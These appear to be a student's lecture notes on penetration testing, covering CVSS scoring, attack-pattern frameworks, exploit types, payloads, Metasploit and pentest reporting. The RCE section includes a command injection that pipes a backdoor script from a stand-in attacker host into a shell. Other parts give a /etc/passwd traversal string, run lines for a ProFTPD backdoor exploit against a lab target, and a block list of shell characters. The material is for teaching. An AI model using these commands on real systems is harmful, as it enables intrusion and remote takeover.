| Remediation priority | Medium | Immediate |
- Take-home: CVSS measures vulnerability severity — it is NOT a complete organizational risk score
Analogy: A leaky pipe is the same leak whether it's in a garden shed or above a server room. The _pipe_problem (Base) is identical; how fast you call the plumber (Environmental) is not.
Worked Example: Computing Temporal & Environmental Scores
| Metric | Value | Meaning |
|---|---|---|
| Base Score | 9.8 | Intrinsic severity of the vulnerability (Critical) |
| Exploit Code Maturity (E) | 0.91 | Exploit is functional, publicly available |
| Remediation Level (RL) | 0.95 | Official fix available |
| Report Confidence (RC) | 0.96 | Confirmed, well-documented report |
Step 1: Compute Temporal Score
[Image]
- Temporal modifies the Base Score to reflect current exploit conditions:
- Slide states the result as , rounded to one decimal place:
- 🔍 Step-by-step check:
- So the exact product is (slide shows 8.11), but both round to 8.1 → the answer is the same
- Note: the official CVSS v3.1 spec rounds up (8.13 → 8.2), so a real calculator may show 8.2; for the exam, follow the slide's 8.1
Step 2: Apply Environmental Adjustments
[Image]
- The Environmental Metrics modify the 8.1 according to your organization's asset sensitivity:
- Confidentiality Requirement (CR) = High → 1.5 multiplier
- Integrity Requirement (IR) = Medium → 1.0 multiplier
- Availability Requirement (AR) = Low → 0.5 multiplier
- These weights alter the "Impact" portion of the CVSS calculation, which slightly changes the final value upward or downward depending on which aspect is most critical
- After applying these multipliers and re-normalizing, the final Environmental Score becomes approximately:
- 📌 It went up from 8.1 → 8.4 because Confidentiality (weighted ×1.5) matters most to this organization
- 📌 The multipliers are not simply multiplied onto 8.1 (that would give ). They re-weight the C/I/A impact sub-scores inside the formula, then the score is re-normalized
Real-World CVSS Examples
1) CVE-2021-44228 — Log4Shell
Related
- CVSS v3.1: 10.0 — CRITICAL
- Vector:
AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H - Why this score?
- Remote network attack; low attack complexity
- No privileges and no user interaction required
- High confidentiality, integrity, and availability impact
- Key factors:
2) CVE-2017-0144 — EternalBlue
-
CVSS v3.1: 8.8 — HIGH
-
Vector:
AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H -
Why this score?
- Remote network attack; low attack complexity
- Low privileges required (PR:L)
- Scope unchanged (S:U); high C/I/A impact
-
Score reducers vs. Log4Shell:
-
⭐ Key Takeaway: Small differences in CVSS metrics can significantly change the severity score
-
CVSS calculator: https://nvd.nist.gov/vuln-metrics/cvss/v4-calculator
How to read a CVSS vector string
- Format:
METRIC:VALUE / METRIC:VALUE / ... AV:N= Attack Vector: Network,PR:L= Privileges Required: Low,S:C= Scope: Changed, etc.
CVSS vs. CVE
| CVE — Common Vulnerabilities and Exposures | CVSS — Common Vulnerability Scoring System | |
|---|---|---|
| Purpose | Provides a unique identifier for a publicly disclosed vulnerability | Measures the severity of a vulnerability |
| Content | Includes a description and references | Produces a standardized score from 0.0–10.0 |
| Answers | "Which vulnerability is it?" | "How severe is it?" |
| Example | CVE-2021-44228 → Log4Shell | Log4Shell → CVSS v3.1 = 10.0 (Critical) |
- ⚠️ Important: Not every CVE has a CVSS score. The same CVE may also have different CVSS scores/vectorsfrom different scoring authorities
Analogy: CVE is the patient's ID number; CVSS is the triage level in the emergency room.
Understand Common Attack Patterns

- From high-level (broad) down to low-level granular scope:
| Framework | What it covers |
|---|---|
| ATT&CK(MITRE) | Tactics, Techniques, Procedures (TTP); attack stages; APT group profiles |
| CAPEC | Attack patterns (TTP); includes description, severity, required initial conditions, success rate; maps to ATT&CK and CWE |
| CWE | Software weaknesses; software assurances; mapped by CVE |
| CVE | Disclosure of individual vulnerabilities; includes impact severity score, attack prerequisites, and mitigation advisories; maps to CWE and CPE |
| CPE | Product version; product vendor; mapped by CVE |
- Source: https://www.fncyber.com/web-of-trust-article/understand-common-attack-patterns
- Full names:
- ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge
- CAPEC = Common Attack Pattern Enumeration and Classification
- CWE = Common Weakness Enumeration
- CVE = Common Vulnerabilities and Exposures
- CPE = Common Platform Enumeration
Analogy (a crime investigation):
- ATT&CK = the criminal's playbook ("they broke in, then disabled cameras, then stole jewels").
- CAPEC = the general type of crime ("lock picking").
- CWE = the type of weakness ("cheap pin-tumbler locks").
- CVE = one specific broken lock ("Model X lock, batch 2021, can be opened with a hairpin").
- CPE = the exact product label ("BrandY Model X v2.1").
Conceptual Focus: ATT&CK vs. CAPEC
| Aspect | ATT&CK | CAPEC |
|---|---|---|
| Perspective | Post-compromise behavior (intrusion / kill-chain stage) | Pre-compromise attack patterns (design or code-level) |
| Abstraction Level | Operational / tactical (specific adversary actions) | Conceptual / design (classes of attacks) |
| Usage Stage | Incident response, threat hunting, red teaming | Threat modeling, secure design, software assurance |
| Granularity | Fine-grained, technique-level | Broad, abstract attack pattern |
| Example Question Answered | "What did the attacker do once inside?" | "What kinds of attacks can exploit my system design?" |
Software Bug vs. Vulnerability vs. Risk
| Software Bug → | Vulnerability → | Risk / Threat |
|---|---|---|
| Buffer overflow | BlueKeep | Remote code execution |
| Race condition | Shellshock | Authentication bypass |
| Access violation | Dirty COW | Sensitive information disclosure |
| Infinite loop | Heartbleed | Denial of Service |
| Division by zero | EternalBlue | Privilege escalation |
| Off-by-one error | SQL injection | Security feature bypass |
| Null pointer dereference | Code injection | User session takeover |
| Input validation error | Directory traversal | Malicious file upload |
| Resource leak | XSS, CSRF, SSRF | Man-in-the-middle |
- An exploit represents the actual conjunction of the three terms, materializing the risk into reality
Analogy: A bug = a loose floorboard. A vulnerability = that loose board happens to be above the safe. A risk = someone could lift it and steal the money. An exploit = someone actually lifting it.
Some Vulnerabilities
- BlueKeep (CVE-2019-0708) — vulnerability leading to remote code execution (in Windows RDP, Remote Desktop Protocol)
- Shellshock → privilege escalation (a flaw in the Bash shell; it also allows remote command execution via web servers)
- Dirty COW (Copy-On-Write) — privilege escalation in Linux (slide writes CVExxxxxx; it is CVE-2016-5195)
- Heartbleed — vulnerability in the OpenSSL software (attackers can steal information that SSL/TLS was supposed to protect)
- ข้อมูลไหลออกตลอด
- Fix: update patches, install a new version of OpenSSL, revoke the SSL certificate, and request a new one from the CA
- EternalBlue — exploit that allows hackers to do remote execution of arbitrary code on Windows (via SMB, port 445)
Why revoke the certificate after Heartbleed? Heartbleed could leak the server's private key from memory. Patching stops future leaks, but if the key already leaked, the attacker can still impersonate you — so the old certificate must be replaced.
Exploitation
- An exploit is a piece of code, a program, or carefully crafted data that takes advantage of a vulnerability to achieve an unintended or unanticipated behavior (materializing the risk) in the software that contains a bug
The trigger to exploitation process is vulnerability
- Exploit archive: https://www.exploit-db.com
- See example of Metasploit: https://pentest-tools.com/blog/bluekeep-exploit-metasploit/
Analogy: If the vulnerability is a gap in the fence, the exploit is the exact technique (ladder, crawl, squeeze) used to get through it.
Local vs. Remote Exploits
- Local exploits
- Code meant to exploit a vulnerability locally on a system where we already have (limited) access
- Almost always privilege escalation exploits, aiming to raise privileges to a higher level (ideally administrative / root / ring 0) for complete control over the target system's resources
- Remote exploits
- Code meant to exploit a vulnerability on a remote system without any prior access
- Typically targeted against a specific network service (of a specific vulnerable version)
- Objective: obtain unauthorized access to information or access to the remote system's resources
| Local Exploit | Remote Exploit | |
|---|---|---|
| Prior access needed? | ✅ Yes (limited) | ❌ No |
| Typical goal | Privilege escalation → root/admin | Initial access via a network service |
- Ring 0 = kernel mode, the highest CPU privilege level (user programs run in ring 3)
Analogy: Remote exploit = getting into the building from the street. Local exploit = you're already inside as a visitor and you find a way to get the master key.
Types of Exploits
Related
Denial of Service (DoS)
Related
- An exploit causing a crash of a given service/system
- ⚠️ We should always stay away from using DoS exploits — there is nothing to be gained from them
- Unless explicitly desired and authorized by the customer
Local Privilege Escalation (LPE)
- Objective: obtain administrative privileges, typically:
- "Domain Admin" in Active Directory
- "NT Authority\System" on Windows systems
- "root" user on UNIX-like systems
Remote Code Execution (RCE)
- The most popular exploits — they allow us to execute arbitrary code on the target system
- Take control of target system, run arbitrary code
- arbitrary code = chosen attack code/commands by the attacker (จะเป็นอะไรก็ได้ ไม่จำเป็นต้อง malicious อาจจะ legitimate code ก็ยังด้ายย)
- Take control of target system, run arbitrary code
- Most of the time, malware is used to take over the system

RCE Attack (from diagram)
- Attacker sends a malicious command through a web form's SEND field, e.g.:
$(curl https://web-attacker.com/backdoor.sh | sh)- (This downloads a script from the attacker's server and pipes it straight into the shell to run it)
- Result → FULL SYSTEM CONTROL (Windows, macOS, Linux, Android, web), giving:
- Upload/download data
- Server access
- Edit user security levels
- Admin application access
- Access sensitive data
- Local network access
How to Prevent RCE Attacks?
- RCE attacks are very complex; network vulnerabilities keep evolving and new exploitation opportunities are always appearing
- Update OSs and third-party software all the time
- A Cyber Threat Intelligence (CTI) platform is a must to prevent RCE attacks before they occur
- Block special characters or function names (e.g.,
$,;,|,`,eval,system) - Use safe practices for secure file uploads
- Validate and sanitize user entries and inputs
- Limit access to the interpreter
Analogy: RCE is like a vending machine that accepts typed requests. Instead of typing "1 soda," the attacker types "open the cash box and hand it to me" — and the machine obeys. Prevention = only accept "1 soda," "2 chips," etc., and reject anything else.
Web Application Exploits
- WebApps = the highest portion of published exploits by far
- Includes vulnerabilities such as:
- Directory Traversal (
../../etc/passwdto escape the web folder) - SQL Injection (SQLi)
- Authentication Bypass
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Server-Side Request Forgery (SSRF)
- XML External Entity Injection (XXE)
- Local / Remote File Inclusion (LFI / RFI)
- And many more…
- Directory Traversal (
Client-Side Exploits
- Exploit vulnerabilities in client applications such as:
- PDF viewers
- Web browsers
- Chat / IM / Email clients
- FTP, SSH, DHCP clients
- And many more…
Proof of Concept (PoC) Exploits
- A test code to check whether a particular vulnerability exists on a system or not (without exploiting it)
- This could be a dirty practice
- ⚠️ Always treat PoC exploits as any other exploit (they can still crash or damage systems)
Where to Find Exploits?
The Exploit Database (Exploit-DB)
- https://www.exploit-db.com/ — operated and maintained by Offensive Security
- One of the best places to get good-quality exploits
- An archive of public exploits and security advisories
- Over 42,729 exploit entries (at the time of writing) and growing practically every day
- Command-line utility
searchsploitgives access to the exploit archive- Pre-installed on Kali Linux by default, also available for other systems
Vulners CVE Database
- CVE = Common Vulnerabilities and Exposures
- Vulners (https://vulners.com/search) — another great source of exploits
- Aggregates a vast amount of information from many different sources, giving details on practically any publicly known vulnerability
GitHub Exploit Repositories
- Numerous GitHub repositories contain exploits and CVE PoC code. Some of the best:
- https://github.com/offensive-security/exploit-database
- https://github.com/offensive-security/exploit-database-bin-sploits
- https://github.com/qazbnm456/awesome-cve-poc
- https://github.com/Mr-xn/Penetration_Testing_POC
- https://github.com/Medicean/VulApps
- https://github.com/nixawk/labs
- https://github.com/Coalfire-Research/java-deserialization-exploits
- https://github.com/toolswatch/vFeed
- https://github.com/Metnew/uxss-db (Browser vulns)
- https://github.com/tunz/js-vuln-db (JavaScript vulns)
Exploit Frameworks
- Big software bundles that let us automate a variety of penetration testing activities in a standardized way and on a large scale
- Contain a large number of exploits that are tested and safe to use
- Most popular exploit frameworks:
- Cobalt Strike — https://www.cobaltstrike.com/
- Metasploit Framework — https://www.metasploit.com/
- Metasploit Pro — https://www.rapid7.com/products/metasploit/
- CORE IMPACT — https://www.coresecurity.com/core-impact
- Immunity CANVAS — https://www.immunityinc.com/products/canvas/
- D2 Elliot Web Exploitation Framework — https://www.d2sec.com/elliot.html
- BeEF (Browser Exploitation Framework) — https://beefproject.com/
Analogy: An exploit framework is like a professional toolbox with every tool labelled and tested, instead of a pile of random tools borrowed from strangers.
Example: Searching for ProFTPd Exploits in Metasploit
[Image]
msfconsole
msf5 > search proftpd
| # | Name | Disclosure Date | Rank | Check | Description |
|---|---|---|---|---|---|
| 0 | exploit/freebsd/ftp/proftp_telnet_iac | 2010-11-01 | great | Yes | ProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (FreeBSD) |
| 1 | exploit/linux/ftp/proftp_sreplace | 2006-11-26 | great | Yes | ProFTPD 1.2 – 1.3.0 sreplace Buffer Overflow (Linux) |
| 2 | exploit/linux/ftp/proftp_telnet_iac | 2010-11-01 | great | Yes | ProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (Linux) |
| 3 | exploit/linux/misc/netsupport_manager_agent | 2011-01-08 | average | No | NetSupport Manager Agent Remote Buffer Overflow |
| 4 | exploit/unix/ftp/proftpd_133c_backdoor | 2010-12-02 | excellent | No | ProFTPD-1.3.3c Backdoor Command Execution |
| 5 | exploit/unix/ftp/proftpd_modcopy_exec | 2015-04-22 | excellent | Yes | ProFTPD 1.3.5 Mod_Copy Command Execution |
- How to read it:
- Rank = reliability (excellent > great > good > normal > average > low)
- Check = Yes → the module can test whether the target is vulnerable before exploiting
What is FTPD?
[Image]
- FTPD (File Transfer Protocol Daemon) is the DARPA Internet FTP server process
- The server uses TCP and listens at the port specified in the FTP service specification (port 21)
- Runs on a variety of Unix-like operating systems; has also been ported to Android
- Interprets file names according to the "globbing" conventions (wildcards like
*.txt) - ProFTPD = a popular open-source FTP daemon (the target in the example above)
- "Daemon" = a background service process on Unix (names often end in d:
sshd,httpd,ftpd)
Example of Exploit Backdoor (CVE-2015-3306 — ProFTPD mod_copy)
[Image]
- To exploit the target, run:
./exploit.py --host HOST --port PORT --path PATH- If using the vulnerable lab image:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"- After exploitation, a file called
backdoor.phpis stored in the root folder of the web directory, and the exploit gives you a shell to send commands to the backdoor:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
- Source: https://github.com/t0kx/exploit-CVE-2015-3306
- 📌
whoami: www-data→ the attacker runs as the web server user (low privilege) → next step would be privilege escalation to root - How it works: ProFTPD's
mod_copylet unauthenticated users runSITE CPFR/SITE CPTOto copy files, so an attacker could write a PHP file into the web root
What is a Payload?
- What happens after we exploit a software bug (e.g., a buffer overflow)?
- Payloads define an action we want to perform after exploiting a vulnerability, for instance:
- Execute code
- Spawn a reverse shell
- Create a backdoor
- Create a user
- Read a file
- Anything we want
- Payloads are typically written in the form of a shellcode
- Web app exploits have payloads in text form
- Reverse shell = the victim connects back to the attacker (bypasses inbound firewall rules, since outbound traffic is usually allowed)
Analogy: The exploit is the missile that breaks through the wall. The payload is the warhead it carries — it could be a camera, a message, or a bomb.
Pentest Method (Vuln Scan ⇒ Exploit)
- Mapped vulns (CVE search using port and service version):
- https://nvd.nist.gov/vuln/search (e.g., search "apache" + version)
- Found a CVE? Search for attack code — https://www.cve.org
- Search for exploits at https://www.securityfocus.com/bid/108127/info or https://www.exploit-db.com/
- (SecurityFocus BID has since been discontinued; Exploit-DB is the go-to)
- Important when penetrating: gaining a user and escalating privilege
- Try multiple vectors — this is actually a decently easy part
- Web application, Wi-Fi, social engineering
What is Shellcode?
- Shellcodes belong to the area of binary exploitation
- A shellcode is basically a binary form of a payload — a piece of code defining the action (instructions) to execute during exploitation
- Typically written in machine code appropriate to the target processor architecture and operating system, e.g.:
- x86 / Windows
- Dalvik / Android
- Although shellcoding is about coding, we don't really have to code anything — it is completely automated by exploit frameworks such as Metasploit
- Called "shellcode" because the classic payload spawns a command shell
Analogy: A payload is the instruction "open the door." Shellcode is that same instruction translated into the exact machine language the target CPU speaks.
NOTE
- Exploit = takes advantage of a vulnerability to gain access/execute/control
- Payload - the code or action executed after exploitation succeeds
- Shellcode - a compact form of payload, traditionally machine-code instructions.
- Shell is a program that lets a user interact with an OS using the command
Vulnerability → Exploit → Payload → Shell → Consequence: gain access/control over the system
Shallcode is a payload — True
Payload is a shellcode — False
How to Know Which Exploit to Use?
- Boils down to thorough reconnaissance and identifying which particular version of the software runs on the target
- Once you have the exact version, look for an exploit
searchsploitcan parse output from Nmap and recommend exploits based on detected versions- Scan the target using Nmap service detection (
-sV) and save the output to XML (-oX):
nmap -sV -oX file.xml <target>- Then give
file.xmlto searchsploit:
searchsploit --nmap file.xmlVerified Exploit? = Tested Exploit

- One indicator that an exploit is safe: look for the "EDB Verified" ✅ mark in the Exploit Database web interface
- Example: Apache Shiro 1.2.4 – Cookie RememberME Deserialization
- EDB-ID: 48410, CVE: 2016-4437, Author: Metasploit, Type: Remote, Platform: Multiple, Date: 2020-05-01, EDB Verified: ✓
Safety Guidelines for Working with Exploits
- Use only trustworthy and reputable sources of exploits
- Do not download exploits from private forums or from people you don't know
- Test the exploit before running it on a target
- Always inspect every exploit in a text editor
- Beware of terminal escape injections
- Hidden escape characters in a file can make
catshow harmless text while the real code does something else, so open files in an editor, not by printing them to the terminal
- Hidden escape characters in a file can make
Analogy: Running an untrusted exploit is like eating food a stranger handed you on the street. Exploits are code — a "hacking tool" can secretly hack you.
Exploitation Technique (References)
- See example of Nmap exploitation for SQLi:
- Pentest cheat sheet:
Post-Exploitation
Related

- Example: Armitage / Cobalt Strike GUI right-click menu on a compromised host (
192.168...)- Attack, Login, Meterpreter 4 → Access, Interact, Explore, Pivoting, ARP Scan…, Kill
- Explore → Browse Files, Show Processes, Log Keystrokes, Screenshot, Webcam Shot, Post Modules
- Also: Services, Scan, Host
- Meterpreter = Metasploit's advanced payload, giving an interactive session on the victim
- Pivoting = using the compromised machine as a stepping stone to attack other internal machines that were not reachable directly
- Goal of post-exploitation: show the real impact (what data could be accessed, how far the attacker could move), which feeds the report
Analogy: Exploitation = getting into the house. Post-exploitation = walking around to show the owner exactly which rooms, safes, and neighbouring houses you could have reached from there.
Reporting
- Purpose: Organize and document information found during the reconnaissance, network scanning, and vulnerability testing phases of a pentest
[Image]
- A report should include:
- Vulnerability description
- Vulnerability risk ratings (e.g., CVSS)
- Steps to reproduce
- Screenshots (evidence)
- Impact
- Mitigations
Analogy: A pentest report is like a medical report. It says what's wrong (description), how serious it is (risk rating), how the doctor confirmed it (steps + screenshots), what could happen if untreated (impact), and the treatment plan (mitigations).
PenTest Cost?
- How much do pentests cost? (measured in effort/days)
| Type | Typical Duration |
|---|---|
| Web | 4–6 days |
| Network | 4–10 days |
| Mobile | 5–10 days |
| Device/IoT | 7–15 days |
| Red Team | 4–10 days |
- ⚠️ Be careful of vulnerability scans that charge by IP address
- (A cheap automated scan priced per IP is not the same as a real manual pentest)
How to Become a Penetration Tester
- Stay up to date on recent developments in computer security — reading newsletters and security reports is a good way to do this
- Become proficient with C/C++, Java, and a scripting language such as Perl (slide spells it "PEARL")
- Microsoft, Cisco, and Novell certifications
- Penetration testing certifications:
- Certified Ethical Hacker (CEH)
- GIAC Certified Penetration Tester (GPEN)
Certifications

- Certification logos shown on the slide:
- CISSP, CISSP-ISSAP, CSSLP — (ISC)²
- GXPN — GIAC Exploit Researcher and Advanced Penetration Tester
- CISM, CDPSE — ISACA
- Burp Suite Certified Practitioner — PortSwigger
- OSCE, OSWE, OSEP, OSCP — Offensive Security
- CREST
- Certified Red Team Professional (CRTP), Certified Az (Azure) Red Team Professional (CARTP)
- eMAPT (Mobile Application Penetration Tester), eWPTX (Advanced Web Application Penetration Tester), eXDS (Exploit Development Student) — eLearnSecurity
- CompTIA PenTest+
- RastaLabs, APTLabs, Cybernetics — Hack The Box Pro Labs
Summary Cheat Sheet
Linked from
- Chapter 8.5 - White-Box Testing
- Chapter 1 - Security Overview
- Chapter 13 - Intrusion Detection System (IDS)
- Chapter 15 - ISO 27001.2022 Concepts and Implementations
- Lecture 1 - Introduction to Cyber Crime
- Lecture 10 - Web Application Security - XSS, CSRF & SSRF
- Lecture 12 - Penetration Testing with Metasploit
- Lecture 1 - Introduction to Ethical Hacking
- Lecture 2
- Lecture 3
- Lecture 4
- Lecture 5